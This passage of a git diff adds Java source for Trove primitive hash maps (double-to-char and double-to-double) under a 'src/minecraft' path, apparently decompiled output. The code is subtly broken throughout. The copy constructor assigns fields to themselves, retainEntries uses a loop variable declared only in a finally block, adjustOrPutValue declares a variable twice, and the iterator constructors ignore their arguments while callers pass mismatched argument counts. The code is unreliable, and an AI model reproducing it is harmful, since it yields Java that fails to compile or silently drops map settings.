+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TCharCollection
+  {
+    protected TValueView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TDoubleCharHashMap.TDoubleCharValueHashIterator(TDoubleCharHashMap.this, TDoubleCharHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return values();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      char[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleCharHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TDoubleCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleCharHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleCharIterator
+  {
+    TDoubleCharHashIterator(TDoubleCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleCharMap)) {
+      return false;
+    }
+    TDoubleCharMap that = (TDoubleCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleDoubleHashMap.java
new file mode 100644
index 0000000..7e4645c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleDoubleHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleDoubleIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.map.TDoubleDoubleMap;
+import gnu.trove.procedure.TDoubleDoubleProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleDoubleHashMap
+  extends TDoubleDoubleHash
+  implements TDoubleDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TDoubleDoubleHashMap() {}
+  
+  public TDoubleDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleDoubleHashMap(int initialCapacity, float loadFactor, double noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleDoubleHashMap(double[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleDoubleHashMap(TDoubleDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleDoubleHashMap)) {
+      TDoubleDoubleHashMap hashmap = (TDoubleDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(double key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(double key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(double key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Double> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(double key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleDoubleIterator iterator()
+  {
+    return new TDoubleDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(double key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(double key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleDoubleHashMap.TDoubleDoubleKeyHashIterator(TDoubleDoubleHashMap.this, TDoubleDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleDoubleHashMap.TDoubleDoubleValueHashIterator(TDoubleDoubleHashMap.this, TDoubleDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
